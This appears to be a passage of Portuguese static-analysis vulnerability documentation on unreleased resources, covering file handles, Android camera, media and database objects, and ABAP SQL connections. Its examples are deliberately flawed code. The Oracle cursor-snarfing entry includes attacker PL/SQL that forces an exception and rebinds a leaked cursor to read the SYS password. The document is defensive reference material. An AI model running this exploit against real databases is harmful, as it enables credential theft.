O programa talvez não consiga liberar um recurso do sistema.
Explanation
O programa talvez não consiga liberar um recurso do sistema.

Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar uma negação de serviço esgotando o pool de recursos.

Exemplo 1: A função a seguir não fecha o identificador de arquivo, mas o abre. Se o processo for de longa duração, poderão faltar identificadores de arquivo.


BEGIN
...
F1 := UTL_FILE.FOPEN('user_dir','u12345.tmp','R',256);
UTL_FILE.GET_LINE(F1,V1,32767);
...
END;
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.sql.unreleased_resource
Abstract
Uma atividade do Android falha ao liberar a instância Camera em seus manipuladores de eventos onPause(), onStop() ou onDestroy().
Explanation
A atividade do Android aloca uma instância Camera que não é liberada em um retorno de chamada onPause(), onStop() ou onDestroy(). O sistema operacional Android invoca esses retornos de chamada sempre que precisa enviar a atividade atual para segundo plano ou quando precisa destruir a atividade temporariamente nos casos em que o sistema está com poucos recursos. Ao não liberar o objeto Camera corretamente, a atividade impede que outros aplicativos (ou até mesmo instâncias futuras do mesmo aplicativo) acessem a câmara. Além disso, manter a posse da instância de Camera enquanto a atividade está pausada pode afetar negativamente a experiência do usuário por meio do esgotamento desnecessário da bateria.

Exemplo 1: O código a seguir descreve uma atividade do Android que não substitui o método onPause() base, que deve ser usado para liberar o objeto Camera, nem o libera corretamente durante sua sequência de desligamento.


public class UnreleasedCameraActivity extends Activity {
private Camera cam;

@Override
public void onCreate(Bundle state) {
...
}

@Override
public void onRestart() {
...
}

@Override
public void onStop() {
cam.stopPreview();
}
}
References
[1] Camera, Android Developers
[2] FIO04-J. Release resources when they are no longer needed CERT
[3] DOS-2: Release resources in all cases Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 772
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.unreleased_resource_android_camera
Abstract
Uma atividade do Android falha ao liberar o objeto MediaRecorder, MediaPlayer ou AudioRecord em seus manipuladores de eventos onPause(), onStop() ou onDestroy().
Explanation
A atividade do Android aloca um objeto de mídia que não é liberado em um retorno de chamada onPause(), onStop() ou onDestroy(). O sistema operacional Android invoca esses retornos de chamada sempre que precisa enviar a atividade atual para segundo plano ou quando precisa destruir a atividade temporariamente nos casos em que o sistema está com poucos recursos. Ao não liberar o objeto de mídia corretamente, a atividade faz com que acessos subsequentes ao hardware de mídia do Android (por outros aplicativos ou até mesmo pelo mesmo aplicativo) retrocedam para as implementações de software ou até mesmo falhem completamente. Deixar abertas muitas instâncias de mídia não liberadas pode fazer com que o Android lance exceções, causando efetivamente uma negação de serviço. Além disso, manter a posse da instância de mídia enquanto a atividade está pausada pode afetar negativamente a experiência do usuário por meio do esgotamento desnecessário da bateria.

Exemplo 1: O código a seguir descreve uma atividade do Android que não substitui o método onPause() base, que deve ser usado para liberar o objeto de mídia, nem o libera corretamente durante sua sequência de desligamento.


public class UnreleasedMediaActivity extends Activity {
private MediaPlayer mp;

@Override
public void onCreate(Bundle state) {
...
}

@Override
public void onRestart() {
...
}

@Override
public void onStop() {
mp.stop();
}
}
References
[1] Media Player, Android Developers
[2] Audio Capture, Android Developers
[3] FIO04-J. Release resources when they are no longer needed CERT
[4] DOS-2: Release resources in all cases Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 772
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[21] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.structural.java.unreleased_resource_android_media
Abstract
Uma atividade do Android falha ao liberar o manipulador de banco de dados do Android em seus manipuladores de eventos onPause(), onStop() ou onDestroy().
Explanation
A atividade do Android mantém um manipulador de banco de dados SQLite do Android que não está fechado no retorno de chamada onPause(), onStop() ou onDestroy(). O sistema operacional Android invoca esses retornos de chamada sempre que precisa enviar a atividade atual para segundo plano ou quando precisa destruir a atividade temporariamente nos casos em que o sistema está com poucos recursos. Ao não fechar o banco de dados corretamente, a atividade poderá esgotar cursores disponíveis do dispositivo se for reiniciada constantemente. Além disso, dependendo da implementação, o sistema operacional Android também pode lançar DatabaseObjectNotClosedException, que travará o aplicativo se a exceção não for detectada.

Exemplo 1: O código a seguir descreve uma atividade do Android que armazena os dados do usuário em cache e os grava em disco quando a atividade é interrompida. Observe que isso não substitui o método onPause() base, que deve ser usado para liberar o objeto de banco de dados, nem o libera corretamente durante sua sequência de desligamento.


public class MyDBHelper extends SQLiteOpenHelper {
...
}

public class UnreleasedDBActivity extends Activity {
private myDBHelper dbHelper;
private SQLiteDatabase db;

@Override
public void onCreate(Bundle state) {
...
db = dbHelper.getWritableDatabase();
...
}

@Override
public void onRestart() {
...
}

@Override
public void onStop() {
db.insert(cached_data); // flush cached data
}
}
References
[1] Data Storage, Android Developers
[2] FIO04-J. Release resources when they are no longer needed CERT
[3] DOS-2: Release resources in all cases Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.structural.java.unreleased_resource_android_sqlite_database
Abstract
O cursor provavelmente poderá ser utilizado por um usuário de uma classe de privilégios inferior.
Explanation
O cursor provavelmente poderá ser usado para acessar informações não autorizadas.
Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

No caso de SQL, os cursores têm os privilégios associados ao código que os criou. Se um usuário menos privilegiado puder capturar o cursor que vazou, ele poderá ser usado para exibir registros não autorizados.

Além disso, a maioria dos problemas de recursos não divulgados resultará em problemas gerais de confiabilidade de software, mas se um invasor puder provocar um vazamento de recursos intencionalmente, ele poderá ser capaz de iniciar uma negação de serviço ao esgotar o pool de recursos.

Exemplo 1: O procedimento PWD_COMPARE pode ser usado por um código que não tem acesso a sys.dba_users para verificar a senha do usuário.


CREATE or REPLACE procedure PWD_COMPARE(p_user VARCHAR, p_pwd VARCHAR)
AUTHID DEFINED
IS
cursor INTEGER;
...
BEGIN
IF p_user != 'SYS' THEN
cursor := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(cursor, 'SELECT password FROM SYS.DBA_USERS WHERE username = :u', DBMS_SQL.NATIVE);
DBMS_SQL.BIND_VARIABLE(cursor, ':u', p_user);
...
END IF;
END PWD_COMPARE;


Se o invasor puder causar uma exceção, ele poderá capturar o cursor e ter acesso a informações não autorizadas, como a senha sys. Uma maneira de provocar uma exceção é transmitindo um argumento muito longo para p_user. Depois que o invasor souber que o cursor vazou, ele só terá que adivinhar o cursor e atribuir novas variáveis de vínculo.


DECLARE
x VARCHAR(32000);
i INTEGER;
j INTEGER;
r INTEGER;
password VARCHAR2(30);
BEGIN
FOR i IN 1..10000 LOOP
x:='b' || x;
END LOOP;
SYS.PWD_COMPARE(x,'password');
EXCEPTION WHEN OTHERs THEN
FOR j IN 1..10000
DBMS_SQL.BIND_VARIABLE(j, ':u', 'SYS');
DBMS_SQL.DEFINE_COLUMN(j, 1, password, 30);
r := DBMS_SQL.EXECUTE(j);
IF DBMS_SQL.FETCH_ROWS(j) > 0 THEN
DBMS_SQL.COLUMN_VALUE(j, 1, password);
EXIT;
END IF;
END LOOP;
...
END;
References
[1] David Litchfield Dangling Cursor Snarfing: A New Class of Attack in Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[19] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.sql.unreleased_resource_cursor_snarfing
Abstract
O programa talvez não consiga liberar um recurso de banco de dados.
Explanation
Os vazamentos de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, ele poderá iniciar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O código a seguir executa uma consulta de banco de dados, mas não libera a instrução ou os recursos de conexão.

DATA: result TYPE demo_update,
request TYPE REF TO IF_HTTP_REQUEST,
obj TYPE REF TO CL_SQL_CONNECTION.

TRY.
...
obj = cl_sql_connection=>get_connection( `R/3*my_conn`).
FINAL(sql) = NEW cl_sql_prepared_statement(
statement = `INSERT INTO demo_update VALUES( ?, ?, ?, ?, ?, ? )`).

CATCH cx_sql_exception INTO FINAL(exc).
...
ENDTRY.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 619, CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[17] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
